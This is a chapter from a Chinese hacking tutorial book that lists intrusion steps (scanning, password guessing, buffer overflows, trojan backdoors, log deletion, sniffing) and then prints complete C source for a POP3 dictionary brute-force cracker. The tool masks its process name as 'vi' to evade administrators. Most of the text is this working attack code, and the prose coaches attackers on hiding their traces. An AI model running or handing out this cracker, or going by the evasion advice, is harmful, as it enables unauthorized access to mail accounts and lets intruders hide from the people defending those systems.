第十一章
攻击的一般步骤和实例
从理论上将没有一个系统是绝对安全的,除非这个系统没有和外界有任何的联系,没有输入,也没有输出。
所有的攻击是建立在上面的这条大原理下的。只要系统和外界有交互,那就能攻击进去。如果存在系统漏洞的话,攻击变得更加简单。
下面讲一下攻击的大致步骤和所用到的技术。
首先确认攻击目标。这里的主要任务是收集有关要攻击目标的有用的信息。这些信息包括目标计算机的硬件信息,运行的操作系统信息,运行的应用程序(服务)的信息,目标计算机所在网络的信息,目标计算机的用户信息,存在的漏洞等等。
这里用到的工具是端口扫描器,一些常用的网络命令。在这一步的主要目的是得到尽可能多的信息,为下一步入侵作好准备。
下一步就是选用合适的方法入侵。
这里主要是两种方法,通过发现目标计算机的漏洞进入系统,或者是利用口令猜测进入系统。
利用口令猜测就是试图重复登录,直到找到一个合法的登录为止。往往这种方法会耗大量的时间,而且,每次登录,不管是否成功都会在目标计算机上留下记录。会引起注意。
另一个就是利用和发现目标计算机的漏洞,直接顺利进入。
发现目标计算机漏洞的方法用得最多的就是缓冲区溢出法。通过这个方法,使得目标计算机以最高级别的权限来运行攻击者设定的后门程序,从而进入系统。
发现系统漏洞的第二个方法就是平时参加一些网络安全列表。全球的有关网络安全列表里经常有最新发现的系统或应用程序的漏洞的公告。然后根据第一步扫描系统是得到的信息来看看是否有漏洞可以利用。
还有一些入侵的方法是采用想IP地址欺骗等手段。它的原理就是通过各种欺骗手段,取得目标计算机的信任,从而可以进入目标计算机。
在入侵了计算机之后,剩下的工作是留下后门,删除入侵记录,继续收集有用的信息。
在侵入目标计算机后留下后门的目的是为以后进入该系统提供方便。后门一般都是一个特洛伊木马程序。它在系统运行的同时运行,而且能在系统以后的重启动时自动运行这个程序。
删除入侵记录是把在入侵系统时的各种登录信息都删除。以防被目标系统的管理员发现。继续收集信息应该是入侵系统的目的。采取的手法很多,比如通过sniffer程序来收集目标系统网络的重要数据。还可以通过后门,既一个特洛伊木马程序收集信息,比如发送一个文件拷贝命令,把目标计算机上的有用文件拷贝过来。
由于入侵的目标计算机可能运行的操作系统,应用程序很多,因此,没有一种固定的入侵方法。这往往要求攻击者具有丰富的计算机和网络方面的知识。特别是需要网络编程方面的知识和操作系统高级编程知识。只要知道一些网络安全技术方面的基础知识,在加上上面的这些编程知识,根据不同的操作系统,就能成功地实施对目标计算机系统的攻击了。
前面几章我们介绍了网络安全方面的基本知识和一些应用实例。下面对上面攻击步骤的介绍做一个具体的讲解。
这里举的例子中用到的方法可能已经过时,而且正如上面所述,并不是所有系统都必须用这个方法进行攻击的。
假设攻击者找到了要攻击的目标计算机(这里介绍的方法最适于对对内部的计算机进行攻击)。在端口扫描(包括手工和自动)后,发现目标计算机的POP3端口允许多次登录,而不被拒绝。这就是一个可以利用的地方。即可以使用一个程序来对username和password进行猜测。如果攻击者是个懂编写程序的人,那他就可以用一个程序来完成自动猜测。这就是为什么要懂计算机语言和操作系统等基本原理。这里,攻击者用的是Linux操作系统。在Windows下也可以同样进行。
/* : After recently installing POP3d on a machine, I played around with it a
: bit and came to a few conclusions:
: 1) It allows for multiple username/password guesses
: 2) There is no logging option for basd user/pass guesses.
: This seems like something just begging to be brute force hacked.
: Any comments? */
#include < stdio.h>
#include < string.h>
#include < signal.h>
#include < unistd.h>
#include < sys/param.h>
#include < sys/socket.h>
#include < netinet/in.h>
#include < netdb.h>
#include < stdarg.h>
/* First, define the POP-3 port - almost always 110 */
#define POP3_PORT 110
/* What we want our program to be masked as, so nosy sysadmins dont kill us */
#define MASKAS "vi"
/* Repeat connect or not - remember, logs still report a connection, so
you might want to set this to 0. If set to 0, it will hack until it finds
1 user/password then exit. If set to 1, it will reconnect and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT 0
/* The function prototypes */
void nuke_string(char *);
int pop_connect(char *);
int pop_guess(char *, char *);
char *getanswer(char *);
char *getanswer_(char *);
void swallow_welcome(void);
void hackity_hack(void);
int popfd;
FILE *popfp;
FILE *userfile;
FILE *dictfile;
char host[255];
char dict[255];
char user[255];
main(int argc, char **argv)
{
if(argc < 4)
{
/* invalid syntax, display syntax and exit */
printf("Syntax: %s host userfile dictfile\n", argv[0]);
exit(0);
}
/* Validate that the host exists */
if(pop_connect(argv[1]) == -1)
{
/* Error */
printf("Error connecting to host %s\n", argv[1]);
exit(0);
}
printf("Connected to: %s\n\n", argv[1]);
/* Check for the existance of the user file */
userfile=fopen(argv[2], "rt");
if(userfile==NULL)
{
/* Error */
printf("Error opening userfile %s\n", argv[2]);
exit(0);
}
fclose(userfile);
/* Checking for the existance of dict file */
dictfile=fopen(argv[3], "rt");
if(dictfile==NULL)
{
/* Error */
printf("Error opening dictfile %s\n", argv[3]);
exit(0);
}
fclose(dictfile);
/* Copy important arguments to variables */
strcpy(host, argv[1]);
strcpy(user, argv[2]);
strcpy(dict, argv[3]);
nuke_string(argv[0]);
nuke_string(argv[1]);
nuke_string(argv[2]);
nuke_string(argv[3]);
strcpy(argv[0], MASKAS);
swallow_welcome();
hackity_hack();
}
void nuke_string(char *targetstring)
{
char *mystring=targetstring;
while(*targetstring != '\0')
{
*targetstring=' ';
targetstring++;
}
*mystring='\0';
}
int pop_connect(char *pophost)
{
int popsocket;
struct sockaddr_in sin;
struct hostent *hp;
hp=gethostbyname(pophost);
if(hp==NULL) return -1;
bzero((char *)&sin,sizeof(sin));
bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
sin.sin_family=hp->h_addrtype;
sin.sin_port=htons(POP3_PORT);
popsocket=socket(AF_INET, SOCK_STREAM, 0);
if(popsocket==-1) return -1;
if(connect(popsocket,(struct sockaddr *)&sin,sizeof(sin))==-1) return -1;
popfd=popsocket;
return popsocket;
}
int pop_guess(char *username, char *password)
{
char buff[512];
sprintf(buff, "USER %s\n", username);
send(popfd, buff, strlen(buff), 0);
getanswer(buff);
sprintf(buff, "PASS %s\n", password);
send(popfd, buff, strlen(buff), 0);
getanswer(buff);
if(strstr(buff, "+OK") != NULL)
{
printf("USERNAME: %s\nPASSWORD: %s\n\n", username, password);
return 0;
}
else return -1;
}
char *getanswer(char *buff)
{
for(;;)
{
getanswer_(buff);
if(strstr(buff, "+OK") != NULL) return buff;
if(strstr(buff, "-ERR") != NULL) return buff;
}
}
char *getanswer_(char *buff)
{
int ch;
char *in=buff;
for(;;)
{
ch=getc(popfp);
if(ch == '\r');
if(ch == '\n')
{
*in='\0';
return buff;
}
else
{
*in=(char)ch;
in++;
}
}
}
void swallow_welcome(void)
{
char b[100];
popfp=fdopen(popfd, "rt");
getanswer(b);
}
void hackity_hack(void)
{
char *un;
char *pw;
char *c;
int found=0;
un=(char *)malloc(512);
pw=(char *)malloc(512);
if(un==NULL || pw==NULL) return;
userfile=fopen(user, "rt");
dictfile=fopen(dict, "rt");
if(userfile == NULL || dictfile == NULL) return;
for(;;)
{
while(fgets(un, 50, userfile) != NULL)
{
found=0;
c=strchr(un, 10);
if(c != NULL) *c=0;
c=strchr(un, 13);
if(c != NULL) *c=0;
while(fgets(pw, 50, dictfile) != NULL && found==0)
{
c=strchr(pw, 10);
if(c != NULL) *c=0;
c=strchr(pw, 13);
if(c != NULL) *c=0;
if(strlen(pw) > 2 && strlen(un) > 2)
if(pop_guess(un, pw)==0)
{
found=1;
fclose(popfp);
close(popfd);
if(RECONNECT==0)
{
free(pw);
free(un);
fclose(userfile);
fclose(dictfile);
exit(0);
}
pop_connect(host);
swallow_welcome();
}
}
fclose(dictfile);
dictfile=fopen(dict, "rt");
}
fclose(dictfile);
fclose(userfile);
free(un);
free(pw);
exit(0);
}
}
这个程序的运行结果就是猜测到许多用户的口令。一般用户使用的用户名和口令和他在登录系统时的是一样的。如果系统的共享资源的访问也需要口令的话,一般上面搞到的口令中的某一个就是的。
如果我们知道目标计算机上运行的服务及其所用的软件的话,还可以用查找缓冲器漏洞的办法来侵入。具体的例子见《缓冲区溢出攻击》中的介绍。远程攻击的最佳方法是利用缓冲区溢出。
下一章我们介绍怎样入侵Windows NT系统。